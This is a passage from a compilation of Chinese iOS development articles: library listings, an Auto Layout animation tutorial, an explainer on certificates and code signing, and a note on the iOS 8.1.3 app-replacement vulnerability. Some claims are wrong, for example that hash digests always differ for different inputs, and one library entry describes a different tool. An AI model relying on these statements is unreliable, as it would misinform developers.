  	实现了类似折纸效果的视图切换, 可从不同方向进行切换, 该项目已经许久未更新



	92. Reader

  	一款开源的 iOS PDF 阅读器, 附带书签, 列纲要等功能



	93. WebViewJavascriptBridge

  	一个方便使用 Objective-C 与 JavaScript 进行通信的第三方库, 支持消息发送, 接收, 消息处理器的注册与调用以及设置消息处理的回调



	94. iOS8-Sampler

  	iOSX-Sampler 系列之一, 整合演示了多个具有 iOS8 新特性的的项目, 提供了非常多的例子参考



	95. CocoaHTTPServer

  	一个用于 Mac OS X 或 iOS 应用的轻量级、可嵌入的HTTP 服务器框架, 方便开发者在应用中嵌入一个 HTTP 服务器



	96. Kod

  	Mac OS X 上一款专为程序员打造的编辑器, 这是其开源代码, 可惜的是作者在 2011 年停止了维护



	97. TPKeyboardAvoiding

  	下拉键盘在 iOS 移动文本字段的通用解决方案, 能够自动处理键盘弹出后出现遮挡到文本输入框的问题



	98. MKNetworkKit

  	一个轻量级网络请求框架, 完全基于 ARC, 仅有两个类, 具有自主操作多个网络请求, 更加准确的显示网络活动指标等优点



	99. PKRevealController

  	一个 iOS 平台上的视图控制器集合, 通过展现多个视图控制器来进行控制器之间的切换. 设置简单, 高度灵活



	100. AQGridView

  	一个命令行工具, 通过项目里的 .xcdatamodel 文件, 可以为每个 entity 生成两个类, 方便 CoreData 的使用






 Auto Layout 使用心得（六）—— 制造炫酷的下拉刷新动画

作者：JohnLui

来源： Auto Layout 使用心得（六）—— 制造炫酷的下拉刷新动画



                    


原文发表在我的个人网站：Auto Layout 使用心得（六）—— 制造炫酷的下拉刷新动画





  此系列文章代码仓库在 https://github.com/johnlui/AutoLayout ，有不明白的地方可以参考我的 Auto Layout 设置哦，下载到本地打开就可以了。




简介


本文中，我们将一起使用 Auto Layout 技术制造一个炫酷的下拉刷新动画。Auto Layout 除了在布局的时候比较繁琐以外，还有一个经常被人吐槽的点：让许多 UIView.animateWithDuration 失效，甚至在界面上出现 “反方向动画” 的视觉效果。本文中我们将主要讲述制造下拉刷新动画的过程，关于 Auto Layout 与动画的详细配合我们以后再一起仔细探究。


实现首页整体下拉回弹效果


建立接受下拉事件的主 View


使用一个跟窗体一样很大的 mainView 把目前首页的五个元素包括，并补全 Auto Layout 布局。层次结构改变会让除尺寸约束之外的所有约束消失。





修改 UI 绑定及动画函数


UI 和代码的绑定修改成如下：





重新给 mainView 绑定上 panGesture，从 mainView 向 panGesture 拖动：





修改存储值的变量名称和初始化代码：


swift...
var mainViewTopSpaceLayoutConstraintValue: CGFloat!
var mainViewOriginY: CGFloat!

...

mainViewTopSpaceLayoutConstraintValue = topLayoutConstraintOfMainView.constant
mainViewOriginY = mainView.frame.origin.y

...



修改手势触发的目标函数（增加冒号）：


swiftpanGesture.addTarget(self, action: Selector("pan:"))



改写动画目标函数：


swiftfunc pan(recongnizer: UIPanGestureRecognizer) {
    if panGesture.state == UIGestureRecognizerState.Ended {
        UIView.animateWithDuration(0.4, delay: 0, options: UIViewAnimationOptions.CurveEaseInOut, animations: { () -> Void in
            recongnizer.view?.frame.origin.y = self.mainViewOriginY
            }, completion: { (success) -> Void in
                if success {
                    self.topLayoutConstraintOfMainView.constant = self.mainViewTopSpaceLayoutConstraintValue
                }
        })
        return
    }
    let y = panGesture.translationInView(self.view).y
    topLayoutConstraintOfMainView.constant = mainViewTopSpaceLayoutConstraintValue + y
}



查看新的拖动回弹效果





建立动画视图


建立动画主视图


拖动一个 View 到 mainView 上面，目的是置于 mainView 图层之下。在 Xcode 里，最上面的元素位于 UI 的最底层，这个顺序跟 PS 正好相反。修改其 frame，添加 Auto Layout 约束，如下图：





将 UI 和代码绑定：





动画的时候我们需要该主视图进行一定程度的下移，故将其 “到父视图顶部的距离” 的约束也进行绑定。（此图为后期补充，请自动忽略其子元素）


填充动画元素


将动画主视图改名为 HiddenTopView。为了方便的填充动画元素，需要先将 HiddenTopView 移动到 mainView 之下，以便将图层显示在 mainView 之上，不被其遮挡，无法编辑。我填充了三个图片资源，全部加上约束。具体约束大家可以自由发挥。效果如下：





由于我使用了白云元素，故将最大的 view 的背景色填充为灰色，将 HiddenTopView 背景色设置为透明。


查看布局效果





动画规划


我们计划整个下拉刷新动画分为四个部分。下拉时：



	整个 HiddenTopView 下移

	小云彩从屏幕右侧飞入

	大云彩持续做往复运动

	下拉距离超过一定值时，中间子元素进行一定程度的放大



完善准备工作


分析需要获取的约束


“动画规划”中，1 上面已经准备过，2、3 需要将小云、大云的横向定位参数向代码绑定，4 只需绑定中间元素即可。


绑定三个子元素及其关键约束到代码





Make them move!


由于事先动画效果的代码描述起来过于麻烦，请直接看代码：https://github.com/johnlui/AutoLayout/blob/1420fddee57d22ebd443656fb31...


查看效果





 漫谈iOS程序的证书和签名机制

作者：P_Chou

来源： 漫谈iOS程序的证书和签名机制



                    
原文：漫谈iOS程序的证书和签名机制

接触iOS开发半年，曾经也被这个主题坑的摸不着头脑，也在淘宝上买过企业证书签名这些服务，有大神都做了一个全自动的发布打包（不过此大神现在不卖企业证书了），甚是羡慕和崇拜。于是，花了一点时间去研究了一下iOS这套证书和签名机制，并撰文分享给需要的朋友。由于本人才疏学浅，多有遗漏或错误之处，还请大神多多指教。

非对称加密和摘要

非对称加密的特性和用法

非对称加密算法可能是世界上最重要的算法，它是当今电子商务等领域的基石。简而言之，非对称加密就是指加密密钥和解密密钥是不同的，而且加密密钥和解密密钥是成对出现。非对称加密又叫公钥加密，也就是说成对的密钥，其中一个是对外公开的，所有人都可以获得，称为公钥，而与之相对应的称为私钥，只有这对密钥的生成者才能拥有。公私钥具有以下重要特性：


	对于一个私钥，有且只有一个与之对应的公钥。生成者负责生成私钥和公钥，并保存私钥，公开公钥


	公钥是公开的，但不可能通过公钥反推出私钥，或者说极难反推，只能穷举，所以只要密钥足够长度，要通过穷举而得到私钥，几乎是不可能的


	通过私钥加密的密文只能通过公钥解密，公钥加密的密文只有通过私钥解密




由于上述特性，非对称加密具有以下的典型用法：


	对信息保密，防止中间人攻击：将明文通过接收人的公钥加密，传输给接收人，因为只有接收人拥有对应的私钥，别人不可能拥有或者不可能通过公钥推算出私钥，所以传输过程中无法被中间人截获。只有拥有私钥的接收人才能阅读。此用法通常用于交换对称密钥。


	身份验证和防止篡改：权限狗用自己的私钥加密一段授权明文，并将授权明文和加密后的密文，以及公钥一并发送出来，接收方只需要通过公钥将密文解密后与授权明文对比是否一致，就可以判断明文在中途是否被篡改过。此方法用于数字签名。




著名的RSA算法就是非对称加密算法，RSA以三个发明人的首字母命名。

非对称加密算法如此强大可靠，却有一个弊端，就是加解密比较耗时。因此，在实际使用中，往往与对称加密和摘要算法结合使用。对称加密很好理解，此处略过1w字。我们再来看一下摘要算法。

摘要算法

另一个神奇的算法就是摘要算法。摘要算法是指，可以将任意长度的文本，通过一个算法，得到一个固定长度的文本。这里文本不一定只是文本，可以是字节数据。所以摘要算法试图将世间万物，变成一个固定长度的东西。摘要算法具有以下重要特性：


	只要源文本不同，计算得到的结果，必然不同


	无法从结果反推出源（那是当然的，不然就能量不守恒了）




典型的摘要算法，比如大名鼎鼎的MD5和SHA。摘要算法主要用于比对信息源是否一致，因为只要源发生变化，得到的摘要必然不同；而且通常结果要比源短很多，所以称为“摘要”。

数字签名

理解了非对称加密和摘要算法，来看一下数字签名。实际上数字签名就是两者结合。假设，我们有一段授权文本，需要发布，为了防止中途篡改文本内容，保证文本的完整性，以及文本是由指定的权限狗发的。首先，先将文本内容通过摘要算法，得到摘要，再用权限狗的私钥对摘要进行加密得到密文，将源文本、密文、和私钥对应的公钥一并发布即可。那么如何验证呢？

验证方首先查看公钥是否是权限狗的，然后用公钥对密文进行解密得到摘要，将文本用同样的摘要算法得到摘要，两个摘要进行比对，如果相等那么一切正常。这个过程只要有一步出问题就视为无效。



数字签名可以快速验证文本的完整性和合法性，已广泛应用于各个领域。理解了数字签名以后，我们进一步来看什么是数字证书。

数字证书

现实生活的证书

证书顾名思义，就是权限机构的颁发的证明。比如英语6级证书，就是教育部门颁发给通过了6级考核的个人的证明，证明这个人的英语能力。我们来看一下这个证书的组成：


	被证明人：老王


	内容：通过了英语六级


	盖章：教育部门的公章或钢印




于是老王就可以用这张证书找工作了，用人单位会通过查看证书的各项内容（尤其是公章），来验证证书的合法性和老王的能力。

在现实生活中，经常有假的6级证书，这些假证书最重要的就是有一个假公章。现实生活中使用法律法规来约束私刻假公章的行为，但是用人单位可能不能十分准确的判断公章是真是假。而这些问题在数字签名面前都可以用数学的方法严谨的解决。

数字证书：用数字签名实现的证书

实际上，数字证书就是通过数字签名实现的数字化的证书。在一般的证书组成部分中，还加入了其他的信息，比如证书有效期（好比驾驶证初次申领后6年有效），过了有效期，需要重新签发（驾驶证6年有效后需重新申领）。

跟现实生活中的签发机构一样，数字证书的签发机构也有若干，并有不同的用处。比如苹果公司就可以签发跟苹果公司有关的证书，而跟web访问有关的证书则是又几家公认的机构进行签发。这些签发机构称为CA（Certificate Authority）。

对于被签发人，通常都是企业或开发者。比如需要搭建基于SSL的网站，那么需要从几家国际公认的CA去申请证书；再比如需要开发iOS的应用程序，需要从苹果公司获得相关的证书。这些申请通常是企业或者开发者个人提交给CA的。当然申请所需要的材料、资质和费用都各不相同，是由这些CA制定的，比如苹果要求$99或者$299的费用。

之所以要申请证书，当然是为了被验证。英语6级证书的验证方一般是用人单位；web应用相关的SSL证书的验证方通常是浏览器；iOS各种证书的验证方是iOS设备。我们之所以必须从CA处申请证书，就是因为CA已经将整个验证过程规定好了。对于iOS，iOS系统已经将这个验证过程固化在系统中了，除非越狱，否则无法绕过。

证书的授权链

数字证书可能还包括证书链信息。举个例子：如果你要申请休假1周，需要你的上司审批，你的上司需要他的上司同意，最终需要大老板同意，那么这一层层的授权，形成了一个授权链，大老板是授权链的根(root)，中间这些环节分别是被更接近root的人授权的。

我们从苹果MC（Member Center）中获得的证书实际也是一个包含有证书链的证书，其中的根是苹果的CA。我们获得的证书实际上是在告诉iOS设备：我们的证书是被苹果CA签过名的合法的证书。而iOS设备在执行app前，首先要先验证CA的签名是否合法，然后再通过证书中我们的公钥验证程序是否的确是我们发布的，且中途没有对程序进行过篡改。

iOS证书申请和签名打包流程图

在继续下去之前，先来看一张图。



这张图阐述了，开发iOS应用程序时，从申请证书，到打包的大致过程。接下来我将对图中的每一个环节进行分析。

证书申请

开发iOS程序，必然要进行的工作就是成为开发者，并申请相关的证书，否则你的程序只能在模拟器上运行，无法在真机上调试，更不要说上架了。那么在申请证书之前需要：


	支付$99或$299成为苹果开发者，并每年续费。这一步是苹果的强制规定，相当于霸王条款，没钱玩尼玛！大家都知道$99针对个人和小企业，$299针对大企业，这么分没错，不过你需要知道的是，两种金额的本质区别在于你可以获得的证书类型不同，$99当然比$299的少一些。


	安装苹果开发者根证书，此证书实际上是我们从苹果MC中申请的所有证书的“根证书”，安装这个证书意味着我们的开发工具对此CA的信任，从而可以用此CA签发的其他证书进行签名和打包。一般而言，如果安装了Xcode，那么这个证书是自动安装在Key Chain中了。证书如下图






然后，我们就开始按照很多图文并茂的教程开始申请证书，各种操作。这里由于是讲原理，不展开这部分。我们来看每一步到底意味着什么。

什么是CertificateSigningRequest.certSigningRequest

我们需要生成一个CertificateSigningRequest.certSigningRequest文件来提交到MC中，从而获取某种证书。那么这个文件到底是什么呢?从上面的流程图中大家可以看到，这个文件包含两部分内容(Certificate signing request)：


	申请者信息，此信息是用申请者的私钥加密的


	申请者公钥，此信息是申请者使用的私钥对应的公钥


	摘要算法和公钥加密算法




我们可以用openssl来解析文件中的内容一窥究竟：

openssl asn1parse -i -in CertificateSigningRequest.certSigningRequest

    0:d=0  hl=4 l= 649 cons: SEQUENCE          
    4:d=1  hl=4 l= 369 cons:  SEQUENCE          
    8:d=2  hl=2 l=   1 prim:   INTEGER           :00
   11:d=2  hl=2 l=  68 cons:   SEQUENCE          
   13:d=3  hl=2 l=  36 cons:    SET               
   15:d=4  hl=2 l=  34 cons:     SEQUENCE          
   17:d=5  hl=2 l=   9 prim:      OBJECT            :emailAddress
   28:d=5  hl=2 l=  21 prim:      IA5STRING         :zhoupingtkbjb@163.com
   51:d=3  hl=2 l=  15 cons:    SET               
   53:d=4  hl=2 l=  13 cons:     SEQUENCE          
   55:d=5  hl=2 l=   3 prim:      OBJECT            :commonName
   60:d=5  hl=2 l=   6 prim:      UTF8STRING        :Parker
   68:d=3  hl=2 l=  11 cons:    SET               
   70:d=4  hl=2 l=   9 cons:     SEQUENCE          
   72:d=5  hl=2 l=   3 prim:      OBJECT            :countryName
   77:d=5  hl=2 l=   2 prim:      PRINTABLESTRING   :CN
   81:d=2  hl=4 l= 290 cons:   SEQUENCE          
   85:d=3  hl=2 l=  13 cons:    SEQUENCE          
   87:d=4  hl=2 l=   9 prim:     OBJECT            :rsaEncryption
   98:d=4  hl=2 l=   0 prim:     NULL              
  100:d=3  hl=4 l= 271 prim:    BIT STRING        
  375:d=2  hl=2 l=   0 cons:   cont [ 0 ]        
  377:d=1  hl=2 l=  13 cons:  SEQUENCE          
  379:d=2  hl=2 l=   9 prim:   OBJECT            :sha1WithRSAEncryption
  390:d=2  hl=2 l=   0 prim:   NULL              
  392:d=1  hl=4 l= 257 prim:  BIT STRING        


可以看到文件包含了我的信息，并标明使用了sha1摘要算法和RSA公钥加密算法。苹果的MC在拿到这个后，将这个信息记录下来，并签发出相关的证书。这里，苹果实际无需验证我的信息，因为如果我不交钱就没办法上传这个文件，也就得不到证书。

从MC中申请到的证书究竟是什么

苹果取出CertificateSigningRequest.certSigningRequest中的公钥，根本不管我的其他信息，然后将我的MC账号信息和我提交的公钥封装在证书中，并进行数字签名。以开发证书为例，我们用openssl来看一下证书的内容：

openssl x509 -inform der -in ios_development.cer -noout -text

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            65:97:cd:73:6f:19:37:c2
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Apple Inc., OU=Apple Worldwide Developer Relations, CN=Apple Worldwide Developer Relations Certification Authority
        Validity
            Not Before: Jul 29 07:36:28 2015 GMT
            Not After : Jul 28 07:36:28 2016 GMT
        Subject: UID=8VPWB57FDW, CN=iPhone Developer: Liang Ding (2U967A2YJ6), OU=7XPNRZE9TC, O=Liang Ding, C=US
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:ab:43:a4:57:32:57:30:81:89:eb:b4:5c:b6:88:
                    7f:4f:59:3a:9e:f6:14:50:2c:5c:14:6d:01:58:bd:
                    d7:2b:a6:66:71:f7:d9:da:58:a2:e8:4c:d5:a9:87:
                    20:5b:b7:4c:58:29:3c:b3:48:de:7f:ad:3f:98:cc:
                    9d:b3:07:2f:93:4a:3a:e5:32:e2:fc:59:30:1e:ee:
                    65:11:c3:88:ea:7a:54:d8:60:56:d1:fa:69:06:40:
                    dd:72:1d:7f:d9:14:85:bf:7a:b0:a3:34:a0:ac:c1:
                    dc:a9:48:3c:9c:43:c8:e4:fd:02:eb:fe:d2:a7:ce:
                    2e:e4:9a:51:20:0b:5b:e5:5a:d4:04:9e:a4:52:8d:
                    c2:1e:1f:50:80:fb:ea:c1:e4:bb:b4:ec:35:fd:96:
                    6a:86:0a:62:fa:d2:5a:8b:34:1b:f2:c5:c8:c9:2c:
                    85:d1:4d:8c:cb:91:be:db:92:f0:88:37:7a:6d:8d:
                    ef:c6:e1:47:5c:e5:ca:e2:5a:47:14:5d:2f:5b:2e:
                    d4:df:61:d9:99:e2:3e:6b:24:b2:aa:36:b3:af:e6:
                    a8:a8:28:a7:8a:73:aa:68:a9:71:ac:81:a8:20:98:
                    bb:3e:76:e2:09:19:41:45:d7:9a:68:1b:7c:1d:f5:
                    b2:0b:36:ac:f0:4b:fc:0a:f1:3c:de:96:a0:10:14:
                    aa:79
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            Authority Information Access: 
                OCSP - URI:http://ocsp.apple.com/ocsp03-wwdr01

            X509v3 Subject Key Identifier: 
                C7:AB:35:54:A3:7B:96:2A:67:55:B8:2F:B6:82:4B:B8:F0:49:0F:EB
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Authority Key Identifier: 
                keyid:88:27:17:09:A9:B6:18:60:8B:EC:EB:BA:F6:47:59:C5:52:54:A3:B7

            X509v3 Certificate Policies: 
                Policy: 1.2.840.113635.100.5.1
                  User Notice:
                    Explicit Text: Reliance on this certificate by any party assumes acceptance of the then applicable standard terms and conditions of use, certificate policy and certification practice statements.
                  CPS: http://www.apple.com/certificateauthority/

            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage: critical
                Code Signing
            1.2.840.113635.100.6.1.2: critical
                ..
    Signature Algorithm: sha256WithRSAEncryption
        80:99:47:27:ae:e5:1e:89:1e:c2:ec:52:d7:c8:8b:df:86:25:
        a9:cb:b2:f2:01:6c:5e:a0:55:6c:ad:1d:bd:3b:1c:ce:b4:53:
        4d:03:d0:98:f6:f7:0e:24:2b:c5:cb:5e:71:88:bd:53:46:a8:
        c7:e0:d9:f4:81:47:98:a5:91:5c:04:f6:df:b9:c2:06:64:a4:
        73:3d:0b:78:0d:8b:11:29:d3:3a:ea:88:b7:97:a9:2a:e0:74:
        a9:0b:1f:91:0f:47:78:be:90:46:21:10:16:a5:4b:0d:a6:33:
        7e:0c:18:95:ba:7c:8e:b5:ed:86:5f:73:1b:cb:9e:ae:c8:96:
        9d:4f:12:0a:9b:43:cc:58:ca:f3:d5:f0:6e:19:a6:e9:bf:9d:
        95:34:39:4d:86:34:46:7e:11:e7:7c:9f:7b:1d:b1:9c:7d:1b:
        39:85:5f:77:b0:89:d4:bb:55:c3:a9:24:af:54:a6:42:47:bf:
        7c:d3:b0:6f:af:6a:2e:c6:00:07:1c:de:6b:aa:5b:a6:23:2b:
        fb:cd:2b:eb:04:fb:19:3e:1d:9d:ca:ae:d4:20:f1:4d:63:10:
        44:80:d1:cf:fd:82:51:d2:cd:77:cb:46:1e:bd:63:df:4f:82:
        c7:5d:b3:61:45:03:6b:84:35:17:4b:c6:16:f0:47:1f:7b:26:
        62:e3:d1:1b


Data域即为证书的实际内容，与Data域平级的Signature Algorithm实际就是苹果的CA的公钥，而摘要的签名应该没有显示出来。Data域下一级的内容就是我的苹果账号信息，其中最为重要的是我的公钥，这个公钥与我本机的私钥是对应的。当我们双击安装完证书后，KeyChain会自动将这对密钥关联起来，所以在KeyChain中可以看到类似的效果：



后续在程序上真机的过程中，会使用这个私钥，对代码进行签名，而公钥会附带在mobileprovision文件中，打包进app。

注意这里，公钥是附带在mobileprovision中的，并不是直接随代码打包的，所以，笔者认为，本质上在电脑上安装证书是没有实际用处的，因为mobileprovision是MC为我们生成的。之所以需要安装证书，是因为签名程序codesign或者Xcode，只能让我们选择“用哪个证书签名”，因为我们所选的证书还是会对应到私钥，真正用于签名的是私钥。mobileprovision和代码签名在后面详细说明。



所以，就算你有证书，但是如果没有对应的私钥是没有用的。那么有人要问了，既然私钥只有某台电脑生成的，那么团队开发怎么展开呢？

团队开发

于是，大家会去搜索“iOS证书共享”之类的关键字，给出的解决方案就是“私钥导出”。没错，既然问题的关键是私钥，我们共享私钥不就行了，将最初申请证书的机器的私钥导出成.p12文件，并让其他机器导入，同时其他机器也应该安装下载下来的证书。

当然还有一种方案，就是每台机器都各自去申请各自的证书。然而这样做可能到后面比较混乱。

由于iOS证书有多种类型，用于不同的用处，所以我们可能后续还会去MC上申请别的证书。所以强烈建议CertificateSigningRequest.certSigningRequest需要保留，因为如果再次生成CertificateSigningRequest.certSigningRequest文件，可能就是对应另一个私钥了！还需要在共享一次私钥，会比较麻烦。

iOS证书类型

当我们在MC的申请证书界面点击新建证书时，需要选择一种证书。每种证书有不同的用处，就好比你要生孩子，那么得有准生证；你要驾驶机动车，需要驾驶证；你要出国，需要护照...那么在iOS开发中涉及的证书究竟有什么区别呢？本质上他们的区别只是用途，从证书结构上讲都是同一个，只要你不改变申请用的CertificateSigningRequest.certSigningRequest文件，这些证书中包含的公钥和对应的私钥都是同一个。接下来罗列几个常用的证书类型：


	iOS App Development。开发、真机调试用


	Apple Push Notification service SSL (Sandbox)。开发阶段使用苹果的推送服务


	App Store and Ad Hoc。上架和AdHoc方式发布时用


	Apple Push Notification service SSL (Production)。上架后使用苹果推送服务


	In-House。企业版发布，需$299才能拥有，还需邓氏编码




其他不常用的就不列举了。关于AdHoc方式，在后面的mobileprovision中再说。

iOS授权和描述文件

但是光有证书并不够解决苹果的“后顾之忧”，证书能够证明app的所属以及app的完整性，保证app本身是安全的。但是，却不能细化到app所使用的某些服务是被苹果认可的，比如APN推送服务。而且证书无法限制调试版的app的装机规模。于是，苹果想出了“花式作死”的mobileprovision。你可以使用如下命令查看一个mobileprovision：

security cms -D -i embedded.mobileprovision


mobileprovision文件包含：


	AppId。每个app必须在MC中创建一个对应的AppId。规则不累述了。


	使用哪些证书。上面说了，不同类型的证书就代表了不同的发布方式，还包括一些功能的能否使用（比如APN）


	功能授权列表


	可安装的设备列表。对于AdHoc方式发布的app或者真机调试时，会有一个列表，这个列表里面是iOS设备的UDID，每台iOS设备出厂的UDID都不同，所以可以用来标识设备。可通过iTunes连接设备，或者http://fir.im/udid这里获取


	苹果的签名！




注意5，这里的签名是苹果签的，跟我们的私钥没有关系。也就是说mobileprovision文件是苹果签名的，我们除了从MC中获取，别无他法。也不能再获取后随意篡改（比如添加别的设备）。因此上面的1-4就被苹果牢牢的控制在手里，所有的规则都必须由苹果来制定和约束。

AdHoc发布和真机调试

AdHoc允许将测试版app发布给有限的设备安装，而无需通过appstore的审核。这里的关键是如何控制哪些设备可以装。答案就是mobileprovision文件，记得你在生成mobileprovision文件的时候需要选设备的UDID吧，所以这些设备需要事先添加到MC的Devices里面。对于开发时候的真机调试，原理差不多。都是通过mobileprovision的条目4来做到的。而苹果对于调试和测试用机的数量限制为100台！

iOS代码签名

很多人研究到上面也就停止了，然而生命不息，作死不止。上面很多次提到代码签名，那么究竟代码是如何签名的。这对于可能需要做自动签名发布的企业或团队是必须了解的。另外，你可能还需要去阅读iReSign的源码。

ipa的组成

iOS程序最终都会以.ipa文件导出，先来了解一下ipa文件的结构：



事实上，ipa文件只是一个zip包，可以使用如下命令解压：

/usr/bin/unzip -q xxx.ipa -d <destination>


解压后，得到上图的Payload目录，下面是个子目录，其中的内容如下：


	资源文件，例如图片、html、等等。


	_CodeSignature/CodeResources。这是一个plist文件，可用文本查看，其中的内容就是是程序包中（不包括Frameworks）所有文件的签名。注意这里是所有文件。意味着你的程序一旦签名，就不能更改其中任何的东西，包括资源文件和可执行文件本身。iOS系统会检查这些签名。


	可执行文件。此文件跟资源文件一样需要签名。


	一个mobileprovision文件.打包的时候使用的，从MC上生成的。


	Frameworks。程序引用的非系统自带的Frameworks，每个Frameworks其实就是一个app，其中的结构应该和app差不多，也包含签名信息CodeResources文件




相关的程序和命令

一般我们会用Xcode自带的archive功能来打包ipa和签名，实际上xcode只不过是调用了一些外部程序完成了工作，如果我们有朝一日需要自己实现自动化的签名流程，就需要了解究竟相关的程序和命令有哪些。

用下面命令，列出系统中可用于签名的有效证书：

/usr/bin/security find-identity -v -p codesigning

1) E056929276F94152F3FDF0EA84BD2B06396F2DDD "iPhone Developer: Liang Ding (2U967A2YJ6)"
2) 7C608F653A989E95E1A4D303EC4E6625D95EEB42 "iPhone Distribution: Liang Ding (7XPNRZE9TC)"
  2 valid identities found
  

可以看到这个命令列出了一个字符串标示的证书名称，如：iPhone Developer: Liang Ding (2U967A2YJ6)。这个名称后面会用到的。

使用如下命令对xxx.app目录签名，codesign程序会自动将其中的文件都签名，（Frameworks不会自动签）：

/user/bin/codesign -fs "iPhone Developer: Liang Ding (2U967A2YJ6)" --no-strict Payload/xxx.app


对于每个Framework，也需要使用这个命令签名，上面说了Framework的结构跟app其实差不多，所以签名命令类似。这个命令会自动找到证书相关的私钥。-f表示对于已经签名的app强制重签。

最后用下面命令校验签名是否合法：

/usr/bin/codesign -v xxx.app


如果没有任何输出说明没有问题。

使用zip命令重新打包成ipa包

/usr/bin/zip -qry destination source


对app重新签名的流程

如果要设计一个自动化的重签程序，大致需要这么个流程：




	首先解压ipa


	如果mobileprovision需要替换，替换


	如果存在Frameworks子目录，则对.app文件夹下的所有Frameworks进行签名，在Frameworks文件夹下的.dylib或.framework


	对xxx.app签名


	重新打包




iOS设备如何验证app是否合法

关键的几个点：


	解压ipa


	
取出embedded.mobileprovision，通过签名校验是否被篡改过


	其中有几个证书的公钥，其中开发证书和发布证书用于校验签名


	BundleId


	授权列表






	校验所有文件的签名，包括Frameworks


	比对Info.plist里面的BundleId是否符合embedded.mobileprovision文件中的




总结

非对称密钥算法是基石，本文比较详细的阐述了非对称加密算法和摘要算法，并逐渐引出数字签名和数字证书。理解非对称密钥算法是关键。

苹果通过证书来授权开发者开发iOS应用，不同的证书具有不同的用处，建议申请时使用相同的请求文件（即保证私钥统一）。可以通过共享私钥的方式让团队使用相同的私钥和证书，已方便开发。为了保证app的安全性，app中所有的文件都会被签名，这样，签过名的app除非重新签名，否则无法改动其中的任何东西。

mobileprovision是一个配置文件，由苹果签名并发布给开发者。配置文件是一组信息的集合，这组信息决定了某一个应用是否能够在某一个特定的设备上运行。配置文件可以用于让应用在你的开发设备上可以被运行和调试，也可以用于内部测试 (ad-hoc) 或者企业级应用的发布。有了配置文件，苹果对开发者的约束就十分稳固了。

所以，证书（及其对应的私钥）和配置文件是签名和打包的两个必要文件。必须深刻理解，才能在日常的错误中找到解决办法。

更多内容可参考这几篇：

Inside Code Signing

代码签名探析

iOS Code Signing 学习笔记


 iOS 8.1.3 “各路助手挺尸”、“封杀一切助手”的背后

作者：Travis

来源： iOS 8.1.3 “各路助手挺尸”、“封杀一切助手”的背后



                    


图片来自 http://www.redmondpie.com


最近苹果发布了8.1.3系统更新。从更新日志看，没有多少变化（错误修复，提高稳定性和性能），但是苹果修复了一个“漏洞”，就是之前说的“假面”。


科普一：假面漏洞


系统给每个应用一个安全区域（沙盒），一个应用没有权限获取其他应用的沙盒里的数据。每个应用有一个BundleId，一个假冒的应用只要具有相同的 BundleID 并且有合法权限（一般是通过合法的企业证书重新打包签名）能安装到手机上就可以直接替换掉原有的应用并且取得该应用的所有权限。


举个例子，手机上安装了微博的官方客户端，并且客户端曾经获得了你的批准访问手机的相册，通讯录，地理位置等等。假如有人做了个假冒应用，通过一些途径，比如黑应用商店安装到你的手机上，就会直接替换掉官方的客户端，在你打开的一瞬间就可以读完你的通讯录，应用里存的敏感信息等发送给作恶者的服务器，而你对此完全没有感知。


8.1.3的安全方面更新着重解决了这个问题，这里是详细说明 。


修复了下面这2个关键的 bug：



	CVE-2014-4493

就是前面说到的假面漏洞。


	CVE-2014-4494

通过非应用商店下载的应用，一般在打开前系统会提示，这个应用不可信，是否要信任它。这里提到的 bug 可以绕过这个系统提示。




其他几个 bug 也很有意思，比如动态加载执行未经审核的代码，有兴趣的同学可以自行研究Mach-O。


科普二 非官方应用商店 安装应用的实现原理


为什么要从非官方的 AppStore 安装应用呢？原因大概有：



	仅在企业内部使用的应用没必要放到应用商店。比如银行等比较敏感的企业的内部管理应用，出于安全考虑不能公开给所有人下载并且即便有人下载了没有内部账号也无法使用。


	现在的应用太多了，放到官方商店会被淹没。而官方商店又基本没有“关系后门”可以给点钱帮忙推广之类的办法，所以衍生出来各种积分墙，应用赚钱等产业靠广大人民群众的人海战术给应用刷榜，提高应用排行榜上的位置提高曝光率，达到推广的目的。如果商店控制在“自己人”手里，一切都解决了，要推荐有推荐要首发有首发。


	官方商店的审核时间太长，而且是个不定数，好不容易排队半个月等到审核，2分钟结束，拒绝通过，然后再对应用或者是描述做修改再提交，再进行漫长的等待。


	有些应用利用了 iOS 没公开的接口来做一下苹果目前不认可的高级功能，比如“来电防火墙”、访问 WiFi 等功能。


	收费应用免费化，你懂得 :)




实现原理也2种:



	用合法的企业证书，重新对应用打包签名。让系统以为这个应用是个大企业内部使用的应用。

	破解FairPlay（DRM，苹果的版权保护方案）。通过在电脑上利用 iTunes 的权限替换手机里的用户购买信息，让手机误以为是正版用户购买的。现在市面上的各种“手机助手”基本都是用的这种方法。





带来的影响


针对破解FairPlay，苹果同时发布了iTunes 12.1，改成了64位架构，使各种助手失效，媒体把这个更新称为“各路助手挺尸”、“封杀一切助手”等。


图片来自 http://www.redmondpie.com


针对企业证书重签名，正常情况（指在 Xcode 里直接用企业证书编译打包签名）的企业证书签名是不受影响的，只有用企业证书做了重新打包。只有因为企业证书本身存在是为了让大企业更方便，而后来被国人玩坏了（最近被苹果大规模撤销）。


这个只是目前大部分的重新打包的逻辑没有跟进，估计过一段时间应该会兼容回去。但是所有的已经打过包的应用除非重新来过，否则无法安装到8.1.3上。而且企业证书经常被滥用导致苹果撤销，再用新的证书打包时又会因为上面的逻辑，而使应用无法安装。


所以企业证书分发应用这种方式将会在不久后退出历史舞台。


提示： 如果出现了手机无法安装，无法下载等问题很难直接判断错误原因，开发者可以通过 FIR.im 发布的小工具 Log Guru 来查看具体的错误以便分析。



注1： 证书（开发者账号）有3种，个人、公司、企业， 企业证书是$299向苹果申请的仅能用于企业内部分发应用的证书，不能提交应用商店的那种，经常被误以为是公司证书。


 iOS9 HTTP 不能正常使用的解决办法

作者：isteven

来源： iOS9 HTTP 不能正常使用的解决办法



                    
今天升级Xcode 7.0 bata发现网络访问失败。
输出错误信息

The resource could not be loaded because the App Transport Security policy requires the use of a secure connection.

Google后查证，iOS9引入了新特性App Transport Security (ATS)。详情：App Transport Security (ATS)

新特性要求App内访问的网络必须使用HTTPS协议。
但是现在公司的项目使用的是HTTP协议，使用私有加密方式保证数据安全。现在也不能马上改成HTTPS协议传输。

最终找到以下解决办法：


